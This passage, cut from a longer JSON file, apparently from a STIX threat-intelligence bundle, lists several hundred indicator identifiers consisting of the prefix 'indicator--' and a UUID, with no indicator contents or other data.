        "indicator--3cbbff0d-a727-458a-a0ed-0f0b13906f54",
        "indicator--6bc326c6-7fb8-43e8-be78-6a7e7e238013",
        "indicator--efe16ebf-d11d-4866-b9bd-55627777adb5",
        "indicator--885c2fa3-2cc9-4559-b1f8-07ad447dbe6a",
        "indicator--3e06e14c-2458-416f-972a-fd5aa9309847",
        "indicator--2fb22ffe-9119-4ca0-862e-975cc4d4791d",
        "indicator--4c1054d9-ea86-4d66-9560-96a0c07110e6",
        "indicator--66d74359-5683-468e-9d1d-edfa6a09123b",
        "indicator--fa06bd0d-828d-4e09-9ba0-3fa5e67c048f",
        "indicator--35d0f1c4-3a85-4521-9941-3be1c95a2012",
        "indicator--b8aa72cb-10de-475b-aea9-1e0dc8c99b84",
        "indicator--50853754-e41e-444c-94fe-e4e489cc09c1",
        "indicator--c1d3f503-50fb-4026-99c2-fe4d993bbc62",
        "indicator--5ce9d5ee-5c74-4a0b-8e58-465471fc2188",
        "indicator--2dbe6464-b4af-44a6-a0d1-0a7a3bb84813",
        "indicator--0906a7d3-5cb7-468a-82ff-118e42750f8e",
        "indicator--2d979ee1-0d7a-40eb-a880-61e9b563a115",
        "indicator--ea62c971-51a3-4045-8f4d-e39a8aaf5b12",
        "indicator--bc2688e9-d246-4a70-9ee5-c4e5f20ff156",
        "indicator--f370edbe-f178-469b-a5fa-fe0b187d8be3",
        "indicator--6b5211d0-87c2-45ce-92f8-2dcb517e63ee",
        "indicator--219000ed-d519-4307-ad90-fbe00ca32641",
        "indicator--716ba61c-ebe2-4184-b261-f520f355b1ec",
        "indicator--ccb7c101-3b06-4a57-bfaa-1179bbeef28a",
        "indicator--d52723b0-0976-4bf9-9499-667f0f0bc77d",
        "indicator--94f7ac4f-1123-45af-a634-22c1199cac5c",
        "indicator--a06be41f-667c-4da0-a87e-b58ccce52780",
        "indicator--ed317ce3-5c4f-4c4c-95dc-7ca48a4ef2ce",
        "indicator--fccc9f42-04e2-4e60-9a22-5b9d9cd3e73c",
        "indicator--2ddb2246-3c04-4749-a687-2be0e7ae2a3d",
        "indicator--a29116a4-3abd-42c3-b46d-8ab0cbb5daf9",
        "indicator--c6bae706-8761-478c-89bb-b5a9e775da10",
        "indicator--e448b9f3-2c60-4184-9339-0ab60f683c64",
        "indicator--9e2b1d03-4a63-49be-8de5-9cf09cc6dedc",
        "indicator--5ec9e440-6e9f-4777-8ba2-57c1526ef21d",
        "indicator--899d7ef0-0176-4865-9b2b-c30f308c4c0b",
        "indicator--e694ec7b-325c-4cc4-a62f-83277def92bc",
        "indicator--e8536775-ab3c-4f56-9d63-9e5e6b44912d",
        "indicator--31c0d0f1-0fc4-48ec-92fe-c6b9f89fcb72",
        "indicator--c3614d1e-e215-46b4-bfa3-45fdaf61cd74",
        "indicator--769d8cb0-3936-4310-bd76-4ccb566aa847",
        "indicator--a8229bfc-3f13-4eee-b0c1-a297155232ef",
        "indicator--6f3d7a77-1dc5-4fc9-98e1-75610471d6cb",
        "indicator--8081b922-062f-4cf3-9681-21a754137f70",
        "indicator--77c25d9b-6bf3-45e8-b9b2-66470a94ff1a",
        "indicator--226775c8-5359-46e8-8eb2-e61ba2976bbe",
        "indicator--f207ac15-5b47-4d97-a56a-d8061b0c6b20",
        "indicator--d631800c-09ca-4bf2-a549-08481df1ad49",
        "indicator--9b2b55ef-3bba-429d-9eb9-f2b5dbabb6fe",
        "indicator--ba4c8881-0098-405f-bd14-70953d7a3c5a",
        "indicator--56826f1f-28c6-4342-b654-2f8bc9dea731",
        "indicator--6c650ac7-e748-4db0-ad43-978704a6d44f",
        "indicator--bb24a370-3855-43ca-a7c8-8e80f8f799f7",
        "indicator--07ef5efd-fc3c-4a1e-952d-445554956a59",
        "indicator--a3cff108-2efc-465a-bd15-6df0934f9925",
        "indicator--88b3f6c1-01fd-4a75-85ff-c1b62a621fe9",
        "indicator--cbc7206c-3a4d-4cd5-90a5-4ae7ae5f8d0c",
        "indicator--e397d6c8-e8e6-4ac0-be40-d08cbad9d204",
        "indicator--52595dc1-5baf-4f9c-b3a1-03079c2c8230",
        "indicator--b042d4cb-3ec3-4db9-b48c-eb06bb429780",
        "indicator--c485948f-6de1-491f-8ece-e926b860b5c2",
        "indicator--1766dab5-1d2f-4ff1-974c-58465d44330e",
        "indicator--fa8dbbf7-9bd3-4a85-a483-0ebd9b9bdf41",
        "indicator--e4255cdc-bd7d-4c28-bb1d-af4cf127d6ef",
        "indicator--60818349-d469-4c5f-98b2-7465db58f20c",
        "indicator--eb0be87e-fe34-4e17-b014-008b6e40f63e",
        "indicator--49060b8b-c496-4d8e-abc0-8d8407d6efec",
        "indicator--2872d20e-be3b-4185-b861-2582ba8adc16",
        "indicator--e920aaf5-a06a-4e81-bc8e-e6f2c1045fdc",
        "indicator--be7d31a9-e0a5-4a54-9df6-d6584793b74c",
        "indicator--cb4f1638-6b37-4d10-92bf-f783a6697636",
        "indicator--b00ff27e-07c6-4c47-869e-41240b299f99",
        "indicator--b046eef4-d965-4971-92b2-2bfe21653181",
        "indicator--8a1b5fba-bb76-428c-98a3-302889f9c17e",
        "indicator--8d4a8ab8-4ba7-4ba2-b9d9-9699f7953054",
        "indicator--10079286-e362-408b-b1ca-02145aff7564",
        "indicator--c673e297-f434-4df1-b7d4-431f948b07f3",
        "indicator--e152e075-09ed-4a7c-9809-b172ac87e876",
        "indicator--eaca22d1-7426-489a-ab7d-0d6fcd326eb5",
        "indicator--2e684cf5-7413-45eb-a861-70ad8a0c242d",
        "indicator--f957181b-c00c-4b74-905f-57b321358b2a",
        "indicator--55a92047-6814-46fb-a63f-6a8029f43f2d",
        "indicator--115c6203-ce1b-444a-bf47-8eba9f17af02",
        "indicator--bf6ffb81-7e9e-4ecb-8ceb-b3c86392a8e9",
        "indicator--8f09bbc1-744d-46c7-bd44-97c103ef4265",
        "indicator--0ce7618a-939d-400d-b37f-dee66f32c885",
        "indicator--b27279a2-39eb-499a-9130-64cbc2efc7c7",
        "indicator--b5ed1ddd-ac4d-46f7-9907-d2623ab94484",
        "indicator--9a37117e-1c59-4731-89ae-40803b187201",
        "indicator--887d7aaf-6215-47be-86fb-980cb2ee365a",
        "indicator--5b40f94b-0d33-4907-ab71-e387d262d8f2",
        "indicator--be559679-ea39-4a0d-9726-ad85a8ef19d1",
        "indicator--95abcd95-e421-4e07-af87-f987f2d47a98",
        "indicator--3f7c4da0-80cb-48d7-bd85-bee8564dd76a",
        "indicator--67aaf822-9ef1-4c9d-b6ad-4600d5287162",
        "indicator--a071f222-f622-4686-983a-3955b0de2df5",
        "indicator--d18554fe-4c59-40b5-9db4-91bddac87fe6",
        "indicator--b30961ba-c355-4f3c-9870-05bc00b696cb",
        "indicator--464a147f-a8cb-4359-8939-da73f6300a6f",
        "indicator--16f09d24-6837-4e9a-ad1c-ca5cca75e149",
        "indicator--cbc5f448-405e-4e6a-8076-464ecf12a723",
        "indicator--a4781463-413c-40ad-bda8-1b4f9e004e50",
        "indicator--1dca27e6-bf4b-423d-96f1-1664ccca916b",
        "indicator--4139dea8-3177-408b-b122-0ccb84b5c66a",
        "indicator--a3d61e44-3888-4e5b-a0fa-dd7ae9efa2b0",
        "indicator--fb880fa8-78f0-4908-ad23-6ed94244d5da",
        "indicator--624cbd59-efb4-4f2d-ba7a-98dda75ca172",
        "indicator--41136621-067a-490c-a5b4-b9025ddce255",
        "indicator--45661710-4edd-4f96-8938-18572c0fd056",
        "indicator--a99f852d-6b2a-4647-9cce-bb0be945342b",
        "indicator--35db54e6-5332-44f7-b55b-c80484b93145",
        "indicator--d80d57ac-f837-4057-a8ab-9223054f3151",
        "indicator--910ecfd9-0c87-43a6-be4f-0a91d866fc12",
        "indicator--9dd8211d-a610-41d1-bdfa-2459f4610fbc",
        "indicator--6052ffc7-97c8-404a-b11f-76592dd81856",
        "indicator--e1fedc7d-d97c-4984-9a97-2e684414c089",
        "indicator--a6997b26-087b-4357-a771-ebb1f4a22ff2",
        "indicator--0ec50c06-f303-43b1-b311-19122e4435c1",
        "indicator--aafc8299-3552-4063-8d24-e0b48755df5f",
        "indicator--1b6cc8b3-b274-4f42-8762-7baf5eb81cc4",
        "indicator--db9d9c3b-4a85-4e90-99be-9a46cdd595e5",
        "indicator--7e7a97b9-f3ca-4100-b114-c7e798b68601",
        "indicator--3a3ea5f5-5e65-4836-9596-a4a18836b26b",
        "indicator--c7972263-41bf-42b4-b1bd-a3ab059fd4e6",
        "indicator--7d38282b-e624-4845-ae93-15867130d481",
        "indicator--9d363862-8b3a-43dc-8469-b655399e1b2a",
        "indicator--5ebf541f-da85-4182-9bac-8a1293105e89",
        "indicator--c9e2e453-9290-4987-bcfc-e9fe0df2243a",
        "indicator--ec8c3aa8-f8c5-4285-a657-b7751586df7d",
        "indicator--e534cf4e-2cd0-4eaf-82cb-7f8f256610ae",
        "indicator--53e70f87-5a6c-438f-bd5d-31c8c6a57392",
        "indicator--48ca531f-9ddb-45bf-86e2-75b79ccc3d80",
        "indicator--aa89de2c-eecd-478d-b8e4-9e05a502e5a4",
        "indicator--0aad8b1f-7ae8-424f-85fa-9fd2c8ef1200",
        "indicator--faa00309-dba0-4894-9fb9-d0c129487f2e",
        "indicator--80ba0df7-a8f2-4b16-900d-032980a2cbad",
        "indicator--d2a4db10-df1b-4ca6-9e66-a1b4d5604988",
        "indicator--d7311ebd-fc08-46dc-a0c6-aaf9604876a6",
        "indicator--5504211e-669e-4ea9-9f6f-3fdeb9e91335",
        "indicator--04e06dcf-ba91-4cad-8561-9180ab2c055b",
        "indicator--f15ba0d1-2737-4f2a-8942-6dc8c00bf5f1",
        "indicator--8dd31cde-9e37-4f3e-b31d-b6e5f9aa4c15",
        "indicator--f727256a-ef4c-4551-8f5c-eb980f9d0e77",
        "indicator--9e3c3b87-4fbd-4709-9d97-c902ad02cda8",
        "indicator--ed0e4e90-ba02-428c-95f4-ec50312d7079",
        "indicator--2291f5bf-2ad1-46ee-9c65-832cee71291f",
        "indicator--a2327370-20d9-4344-81dc-c1e5af429657",
        "indicator--1d33aabc-cb52-425a-add1-244e1299b425",
        "indicator--1d418f33-e008-46f5-9cf1-ee247696e3e0",
        "indicator--151ac140-e5b7-4581-bfd3-ad394d13ddb3",
        "indicator--e9ebabc4-bfc6-429d-9af2-0c6f094415a5",
        "indicator--6774cace-06d0-4779-97f1-c88fa7325560",
        "indicator--68784dff-81f6-4286-ae2e-98a8474c545b",
        "indicator--704248b9-b9a6-4428-843b-db269089ce50",
        "indicator--d567e085-ef3d-46c2-8241-4df3042dfb95",
        "indicator--8c5a690a-e58f-433f-be80-7f402eee8be5",
        "indicator--3d80b490-b15b-487d-a6be-ae4dd4389a05",
        "indicator--c5dd12ba-5d44-419d-ba57-37e7a0782955",
        "indicator--140b4f45-50fd-4131-9963-22fb0a5dcf8a",
        "indicator--52ae13aa-53b0-4e85-9d69-7fc861e23d21",
        "indicator--f74547a4-e3f3-48c6-974c-ec1abffbfa0d",
        "indicator--f7a93c8a-6d9d-4b65-93fb-6fbf6929a659",
        "indicator--380e9d41-59fe-40bc-ad8f-82ce66a44f2e",
        "indicator--70d2a053-b893-4714-a976-ddb422225c34",
        "indicator--34b0dc3f-b3e7-4934-8f08-95f77f071634",
        "indicator--a8a86f15-7277-476e-97ea-84750c9584a4",
        "indicator--05db50cb-d83b-4da3-9ac2-d10cc1a9a4df",
        "indicator--1344dd12-b415-4525-8b15-d1dd78c49e4f",
        "indicator--0b505ffa-4509-46e7-b92c-2c0820cd2031",
        "indicator--7224ee7f-1267-4c45-a5fa-5127a06aed13",
        "indicator--3ffa7638-358f-405f-ab96-11645506fb6b",
        "indicator--60472e65-c2c5-4044-b1e6-e293fea3e90e",
        "indicator--ca6b5186-2f56-404e-9e45-6786f3602ba2",
        "indicator--bf43076a-3a7b-42e4-9463-fd4bc3aa5c57",
        "indicator--cdecd110-1dd2-4986-b3d8-a41d70edb3fc",
        "indicator--d1de4275-fa25-4bff-a718-97502f11a16d",
        "indicator--cfddc57c-0ca0-4ca6-8f89-09c8b2ab8f3c",
        "indicator--ece707e1-df3c-4035-9dad-083951faff33",
        "indicator--59ec65b0-4866-4e47-8019-016bc502f6f7",
        "indicator--e30c1d80-36bf-43c7-ae45-cf5510850ad3",
        "indicator--698b5656-c1e3-4ad2-a689-fec8b7ed59fc",
        "indicator--d6963f06-79d5-4a01-9397-d1afd38da923",
        "indicator--1b29917c-c3fe-413b-bc1a-6bfc40aa1ea5",
        "indicator--6b956059-d3f3-4653-bd36-cf50c0ce2142",
        "indicator--45eba06b-6ea1-4aa9-ab1c-b272c80cc629",
        "indicator--cd2c3bc6-4763-4a38-ab16-970f278cd14d",
        "indicator--8425456b-dd07-4abb-94d3-1fc57d90ce45",
        "indicator--f2de1a75-bb98-44d0-8e1d-c3146ac6d6f7",
        "indicator--d4af34ce-a1a2-4277-a854-ecbd662c42a3",
        "indicator--8b549b53-cfd6-4ef1-b1d2-ad7415faaf3e",
        "indicator--ce6fd2d7-58b6-4b91-a5f0-b4aefefc3e9f",
        "indicator--b471033d-0dac-4bb7-a7bf-0bd2360025b6",
        "indicator--b28c776c-56c2-4c42-8466-1c1fb17d934b",
        "indicator--bfc4a814-5398-4195-bf87-4647a989e55f",
        "indicator--85c2c411-3808-4663-a825-a5d30352b530",
        "indicator--a061a848-3bba-492d-934c-25985792d748",
        "indicator--1b8b2752-c6ec-4170-90a3-b0b8bbbf8d78",
        "indicator--05609ebd-fb92-4fa0-9ada-e8ea621679a5",
        "indicator--50edfb38-fd14-41a1-811a-4a820cdf3b0f",
        "indicator--bf9e741c-ed3c-4aa5-a04a-97283c6e9691",
        "indicator--f181e85b-6299-446f-a4b0-b5a290064d6d",
        "indicator--adaf75fe-424e-4fa1-964b-97d65b212ff3",
        "indicator--b7689521-5695-41c9-8886-dbd130f70c7d",
        "indicator--1693eea8-a89e-45c3-9601-26431b1f03b9",
        "indicator--a2dc455c-fd7f-463f-9d0f-d27a84e8564a",
        "indicator--61978399-c327-4139-9506-de818e171dd1",
        "indicator--4c5ffb47-c50d-40e6-bcdf-e36f20832e34",
        "indicator--aefeb51e-d646-48f1-8025-b932d178b4c6",
        "indicator--37fb5a9c-9c1d-487d-b4b8-1756cc668b81",
        "indicator--3518e6c1-2956-479d-8d95-02164379e470",
        "indicator--42a05dd6-e2e8-4251-933d-59a069e470ec",
        "indicator--6c805a2e-a00f-482f-a2bd-ef6cc636196e",
        "indicator--d43a0110-5570-4243-922d-f9b89cb3d577",
        "indicator--3422c9f3-5840-40d1-a25e-34e9d6eb4b3b",
        "indicator--166d17c7-a076-40ac-838f-b5fcc527c93c",
        "indicator--6f325ff1-da64-45ec-8287-6e22d8d25d49",
        "indicator--d503cb0e-a289-4d14-b93a-416b14ab7148",
        "indicator--f63b55e1-8761-4367-b54b-66701238dd10",
        "indicator--b2e77727-716e-483d-add7-13ad1f6f00ab",
        "indicator--3196b8cc-56c1-4fab-9692-2a3937bd7751",
        "indicator--7eccb359-370e-49e0-90c5-2f9a2dd22024",
        "indicator--6151ec74-d40f-4d32-bcfd-9debce2f30b6",
        "indicator--ecb38635-2ed4-4cc0-9561-e5a512cfbf07",
        "indicator--14e359bb-a8db-4389-9aa1-0dba2b7fb723",
        "indicator--624b279f-46be-4b39-a2ee-1e357b582bd4",
        "indicator--dbea3f7b-65e4-43c7-b891-35707cc7a3bf",
        "indicator--c161e297-5b59-4cc1-bc88-a37af68acda1",
        "indicator--85ac31f3-bdf2-4f57-bfab-97e7818a8c84",
        "indicator--aef75ca9-0795-4837-985d-fd992d98c039",
        "indicator--0e6e9f45-0df8-49f6-af80-49ccefc27cf6",
        "indicator--e9872e46-8dc9-4a1e-930f-c24a41dae04f",
        "indicator--53701455-db78-45f2-af51-f24332475084",
        "indicator--43e24aeb-58a8-412e-9b1f-8de0008f8bd8",
        "indicator--c1f046ae-5232-4064-b269-df95f19b8893",
        "indicator--0bcb668c-6d57-4dfa-8778-0ce4864a3ed4",
        "indicator--223d229f-b153-4023-8caa-4f4a59ed5ef6",
        "indicator--8daf7364-2b23-4fe0-885e-8ebf667b6e8f",
        "indicator--35c03d8e-255b-4316-bba9-6a9fcc93f14d",
        "indicator--173e1434-ce58-487b-816f-15747669a4ca",
        "indicator--09e2cc53-7c79-4d17-968b-90fa3aaed4e3",
        "indicator--8ead9d78-afd0-46b2-9593-be6c71ee0bdd",
        "indicator--a76a93a5-deda-4a06-ad55-74c692c81571",
        "indicator--091a2c8b-ad54-4f66-b120-21e886eec936",
        "indicator--b2054900-70f3-4ea5-8603-5a7cc14625dd",
        "indicator--2927c91c-0675-433e-a305-3efeaba9b366",
        "indicator--284a8590-24f4-46a9-af64-10192f8a6bf6",
        "indicator--24f781eb-40bd-442f-b6f8-350fc8591ee5",
        "indicator--d6c95a02-4c67-4da8-845d-8f31a025cb7e",
        "indicator--778dd73b-dd3a-4484-9a16-fe91fcbd07d8",
        "indicator--7462d126-41a4-40df-a19c-f395ae7a8b0e",
        "indicator--c1461aa8-e814-4ca3-a6a7-2010c5ba1269",
        "indicator--9f80e73a-b379-4f04-8a38-b14a21991bf9",
        "indicator--bd8d06af-db1f-4cda-9676-638e94817759",
        "indicator--64a1d319-e416-46c8-bcaf-b74dd64ab01a",
        "indicator--bc924d6c-f201-4700-87f7-f048710c0335",
        "indicator--bd457425-55d5-47ab-91ab-00adec6a49fc",
        "indicator--a3601b3a-edbd-4d57-92ef-625428d45768",
        "indicator--8bd5515c-670e-4b6c-b053-7db484de78c1",
        "indicator--522a6c34-1b6b-4e7c-b6ac-f8a1c10c78f5",
        "indicator--6fbcbc62-d35a-4145-8298-8a84d6eae69c",
        "indicator--ebcb6e2a-02db-4ef7-8ea0-a161cd4b12a4",
        "indicator--54d38376-84e4-4b31-84b9-50ffab4fb119",
        "indicator--7afb6d36-ae24-4da5-abad-3d59ea54fc3d",
        "indicator--5ac18a92-52ff-4af7-a30c-4038d3ddc73c",
        "indicator--3a6c6035-0387-41a4-8a44-5b360ef0cd1c",
        "indicator--ab566d6f-2fde-438a-858b-fc3447b75e38",
        "indicator--cdcd1af9-42e7-4e0d-a9e6-eaaae1490e23",
        "indicator--fd4b9010-e20a-4127-aa19-8dffa164032b",
        "indicator--72016d1e-0d38-477c-b49b-832bd9c8b434",
        "indicator--f2e5094f-5b56-474f-8263-d83af03e571b",
        "indicator--a8211911-ac4e-4961-bf19-29ec93e63ad8",
        "indicator--9b08b27b-cc2b-4a20-b1ea-8e1ba2c1bd08",
        "indicator--120b429d-7f1d-4011-af0c-35fb3dafa0c6",
        "indicator--91ed8bae-9bef-497c-be59-efd467bf4245",
        "indicator--d403ecb9-e5a6-4eda-812b-44aedebfc879",
        "indicator--8456bff2-2bfb-44d0-a404-ef17234dc28e",
        "indicator--536441e3-379b-4b68-b011-815bccdd4672",
        "indicator--34e180a5-81f2-424e-8dfd-27df5acae219",
        "indicator--edc11781-cae2-4d22-8b1e-617494d446a0",
        "indicator--ae34a422-777d-4af1-94a7-2ea7770b85a0",
        "indicator--f915a530-5daa-47d9-a8f8-a894fd23d236",
        "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
        "indicator--d793f92d-fb9c-40c9-8587-893c7bb5169b",
        "indicator--57338e1a-f6dc-402b-9644-d3d5eaff192e",
        "indicator--46693a4c-b835-4eb2-a217-636b1467f529",
        "indicator--36a79ac2-abc8-47ff-b792-68f9dd6a0086",
        "indicator--c1f0c89c-0d77-4412-a1a1-c55cbb60ae14",
        "indicator--c46f3078-f118-4b4c-8b59-a20284b3208d",
        "indicator--f938593e-9be1-45e8-9d34-eb9448f40dbb",
        "indicator--667d50c7-c5b6-4556-a87d-55445c1bea38",
        "indicator--e2739f87-189f-4ce4-bce8-fef5c440284c",
        "indicator--b80520be-8a25-4546-afe5-52c125529a95",
        "indicator--8bfd31b2-0033-41cc-bae9-c52968edf48f",
        "indicator--93fcdf0c-9674-4a9d-95e4-fe7923674d5a",
        "indicator--04359752-960e-4a9f-bfc2-09b733638772",
        "indicator--9aaaf94b-44aa-49a2-9c32-41ff035a6b3b",
        "indicator--c8f830ff-a20c-4cb4-9f8b-f3bc014f63d5",
        "indicator--fbd4ba1b-56f1-421f-bafd-81793019cf53",
        "indicator--1d8e0c31-707f-4df2-bdfa-7208a7efd5b5",
        "indicator--e8373dc3-50cd-4048-a34a-db71842e3b8e",
        "indicator--fba2f8ff-0558-4f63-901d-cd89793484d0",
        "indicator--ab07fd83-94e3-4cbf-8624-ffe0e8cd2ba1",
        "indicator--ad10e13b-37ee-473c-a92e-e91378bfbfe8",
        "indicator--d685dda3-759c-4fb5-84c6-6515043f93fb",
        "indicator--7ad05077-cb3a-425c-98d1-eccde8bc1130",
        "indicator--81598e0c-a02b-43be-895c-e6df677afd95",
        "indicator--dba4ec7c-f9b5-4acd-b075-e395a49191bd",
        "indicator--db8e74bf-339c-44bd-bb9d-4fd14920ee82",
        "indicator--af90a5b1-9f09-4af8-8235-71179bb91b94",
        "indicator--1a0813dd-12d3-4d76-b8d3-cb7e5d06137e",
        "indicator--5790facd-c225-4aa9-a2cf-c7849ce8cf33",
        "indicator--4d58b6a4-7f8c-4a12-ab94-eaa7d21da961",
        "indicator--c9d7d3df-00c1-40f4-98dd-5f1e92ebec64",
        "indicator--e23157cb-3948-4baa-a696-09ffd82b15fb",
        "indicator--446dab3b-e8c7-449d-8da9-de584ba0e886",
        "indicator--a14f9911-78cd-48d0-8839-bf41bd5bc73d",
        "indicator--3c34c671-8e77-4a5f-8f56-cffb5a573313",
        "indicator--97780b6a-97bc-4c9d-b983-cc9f84cc22d6",
        "indicator--d1549f15-98bb-4f53-88c2-cff5b4a0b481",
        "indicator--7521abb1-309b-4c85-852a-4fc4e0cc9011",
        "indicator--992538c8-b04f-4d0f-8188-07c62628ed90",
        "indicator--7e1cb6b3-9b18-4dde-a542-c9de8248ef48",
        "indicator--4665b691-20a7-4229-b2d9-23ad6397748e",
        "indicator--c7f32b73-f085-4798-89c7-67f4b405ca98",
        "indicator--dd936789-8771-4b33-991d-a21c828085d9",
        "indicator--567b23aa-ff39-4fb8-8a15-7e7f18fd62da",
        "indicator--2821ea7b-85ed-49fe-b481-48ed7b5ded6c",
        "indicator--f62a915d-1390-4cd3-8aa4-bfc6115e199b",
        "indicator--b939fc4b-e0bd-4e48-96d8-6672675d0608",
        "indicator--1946f594-6350-4ada-99da-4cf414cb49f8",
        "indicator--ade4cd94-e8a4-40f0-8803-504cc4f3ae65",
        "indicator--096fd641-1529-4971-be0d-a1de640e09a4",
        "indicator--9b772c57-16c7-42b4-9931-5b126c710061",
        "indicator--4b16c219-9d73-4a6b-9819-6bffc68abe40",
        "indicator--a66b6dbb-7a7f-4ea5-babe-ea42e39ed2ac",
        "indicator--1f4bf2c3-97c0-4637-95b5-7a7c4fd4bd04",
        "indicator--12f4ec21-5395-4924-a103-620b28e1bbca",
        "indicator--e4351e3f-f1a9-41ae-b53d-c076935e0f80",
        "indicator--a9a6b920-36c9-4f66-8990-8c3bb10c9269",
        "indicator--004562f3-3435-4d02-9220-c40e55934492",
        "indicator--dc1d3137-985a-4255-a1f1-71ef4a49ad71",
        "indicator--ff901c09-7374-452c-80af-e554ae9019dc",
        "indicator--0203fac9-3000-43d5-bd7b-b71259383b0c",
        "indicator--925bddc6-cb86-47f1-ac8c-e8baf6ab8107",
        "indicator--512a2090-26cf-4238-b851-d7393c5dae43",
        "indicator--6328472e-ab80-436e-bc69-9b86aa026b21",
        "indicator--c632a7f0-b796-4f53-824d-69cc0a8c876c",
        "indicator--07dadcc2-f0fe-4b76-8641-7c26dfc3fd27",
        "indicator--72fa5424-aca8-461c-b68a-8dce8ae0e1b0",
        "indicator--e043a0f5-1896-4c53-b29b-c6e7156ba952",
        "indicator--274979bf-492e-4f56-82ee-e2c1496e7712",
        "indicator--7a20749d-63bb-4cf3-9073-53ac145189ad",
        "indicator--d8b3a76c-4a77-4034-90e0-a1791721df4b",
        "indicator--3c8098f0-6867-447c-b275-331c99224dee",
        "indicator--6daf0b1f-5c7e-480e-8c94-9b46f0edd346",
        "indicator--ba87c701-78f5-4a50-94dd-0b5e5a6e0f60",
        "indicator--4ad123b4-a8e5-45b8-916a-ba79e1f05d63",
        "indicator--977e547b-641c-4a6b-a762-69d48f9c012b",
        "indicator--b1853fa0-49bf-4b43-9f9a-19aaef62cb3d",
        "indicator--0fa35cb9-4dd4-40e8-812f-462394bfcb05",
        "indicator--19f5ac80-6c0f-464d-b2eb-5a9f906c4a8f",
        "indicator--c4533973-18a4-452f-81bc-8b4d170c18ff",
        "indicator--5c60d38f-112c-4ea1-9546-6641233b825b",
        "indicator--711f57bd-1387-412e-8d82-418704fc2843",
        "indicator--cb73532f-1614-434d-b933-ecf59c0c2075",
        "indicator--b2c2508b-ba70-439d-8076-ebe21fd240e6",
        "indicator--9922489e-42ea-4aaf-90f4-affab8eb7321",
        "indicator--c050df95-1510-4307-a3e7-e9a1eb353bef",
        "indicator--2d712b2e-55d0-4e2d-84b7-e0a87a7241f0",
        "indicator--89fca4c7-722d-440b-bad9-159e59439d7d",
        "indicator--72ba85fa-5ce8-4132-a19f-f8d4199f8b67",
        "indicator--f51e0169-e932-4037-b331-8a0a79412ed9",
        "indicator--824ec356-a32f-478c-b231-fd99f24af4a2",
        "indicator--1ca5bc22-c40e-4d2a-859e-151dec4b6d38",
        "indicator--8d6071af-7c42-4c3e-bef2-eff75468713c",
        "indicator--36dacc29-ac0f-4e1b-9924-8b9faa312f46",
        "indicator--d64a8997-37b2-46f5-9713-413e80990e92",
        "indicator--320ff59e-ef0d-4b25-ac58-243d66621569",
        "indicator--1fe1c409-4468-4ea8-93f9-e1721bb59763",
        "indicator--6e37f404-41de-4a46-9997-3d4bea371365",
        "indicator--aedd66ae-0bb5-4d29-84cc-f260d1ef16d5",
        "indicator--be78fca5-d6cd-4d69-8b07-4b3a71127278",
        "indicator--7cc45110-83b8-482a-a926-fc1a86248cfa",
        "indicator--cf1d3da8-1356-4b8a-9b3a-d8f73c15055c",
        "indicator--93bdcb5b-faec-45f2-9380-41bb631a4419",
        "indicator--48023f82-f279-42ff-8865-96feb77e4075",
        "indicator--3f4d3863-1226-4219-8540-c8594b0bc026",
        "indicator--179144e5-28b6-48cc-96cb-22887f154b15",
        "indicator--bd6f7488-b4fc-4d1f-8695-529ee667319b",
        "indicator--d543b8f1-1e93-4049-9369-009da58e726a",
        "indicator--39620776-5624-4596-8576-d98a16ab1ec7",
        "indicator--80e8ab27-7c27-41dd-bd3b-74da68208589",
        "indicator--24495265-c15c-452d-9854-5d4a4a3c4db9",
        "indicator--4fc89db2-084d-4d68-b27c-d45f0d01ac4a",
        "indicator--87da9028-6a21-4470-bc14-5cf7276bb71a",
        "indicator--1b8c3dac-a98d-41ea-9d6d-cc8fd03ced95",
        "indicator--886ab8a5-8c5d-40e2-b96d-fa4b5605f80a",
        "indicator--d4c7373e-53c5-4552-835b-a9107ef41e1a",
        "indicator--f95b3b65-7568-4556-8900-9b9f47cd5112",
        "indicator--6bd5e350-457d-4fe3-bcaf-c24b3841b176",
        "indicator--a4cbf82f-a822-40e8-89df-d2d4d4ea1061",
        "indicator--f56bfce7-8670-4a74-b252-9b4f58648078",
        "indicator--4374089b-a00a-4eb8-b942-b48d390cad62",
        "indicator--ab5e8c4f-7aab-4b29-9a52-930ee8ae9d7f",
        "indicator--327cff5d-7356-4e28-8cec-77b75a42329b",
        "indicator--84d8a8d1-1eb2-49a4-b0c7-eedc751cf2ce",
        "indicator--278497c2-8597-4497-abe6-508f175ab831",
        "indicator--6ef2b969-1e34-4912-898e-4b20617bd1da",
        "indicator--b19ae766-31a8-4c2b-917a-5afd96f24be7",
        "indicator--aa6388e1-261b-4a42-9297-db9336585d76",
        "indicator--8da5b8ae-2841-4083-9399-3f37ccfd2c46",
        "indicator--d0a93f36-ba8c-49de-b9e1-a902eff8c971",
        "indicator--d9aecb8b-15e8-46de-9bce-200d543ca9a4",
        "indicator--ffeda659-291a-409e-add1-a3b620a79b53",
        "indicator--703b3905-9bb9-457f-9669-2bf48e710de6",
        "indicator--8830854e-d849-4d5f-b0a9-a8f0eb67c9b3",
        "indicator--02b490c2-d5f3-47ac-9e78-b0f03f467ae2",
        "indicator--8d7e89f6-d50d-4059-ad56-600dea13d383",
        "indicator--f2aa1a09-5524-43c0-a435-8ef5bf29ee24",
        "indicator--1fb52d1c-5039-4b3f-9e0d-e28a36aa1702",
        "indicator--288e9699-7ee2-415f-aaf9-9b850e2ce191",
        "indicator--550c0203-27c8-4329-8b8f-99b9302afa1a",
        "indicator--4154146e-8f8c-4c93-8ef7-0fae59c99f77",
        "indicator--fa0b515b-0e16-4bfb-85a1-bfe003506a16",
        "indicator--03a4b28f-4b5b-4a8b-a1d7-20e7d668bc9b",
        "indicator--90c3cc5c-639f-4c84-83b6-47b6ee832a1d",
        "indicator--bd579c42-2e22-4d01-9baf-46ff83f8530a",
        "indicator--3d9cd746-f6ce-47f7-8462-a6c416db6428",
        "indicator--361a1fa2-63a9-49f3-8993-1a6af60492e1",
        "indicator--938db770-22fa-40dd-aef9-70c1752ccaac",
        "indicator--e035a1bf-60fb-4e15-9ecd-ce1a51ffdc6e",
        "indicator--f7b322f0-fc7e-4e4f-93cb-080d5d294bc7",
        "indicator--5038ea49-7957-4d8a-8bcf-e66df4f323d4",
        "indicator--e2617424-2409-4441-be0e-5305299b4bde",
        "indicator--9b0efe3e-597d-4f17-988b-e4340a74e9a3",
        "indicator--839ca33d-e124-481d-a7f9-586c82348a2f",
        "indicator--168e7c14-45e6-4c0f-87f6-1612ea26a82a",
        "indicator--a9bbee9f-e1e2-4944-8512-08b97504978d",
        "indicator--53b58d17-f063-4665-a152-edbaebbbff57",
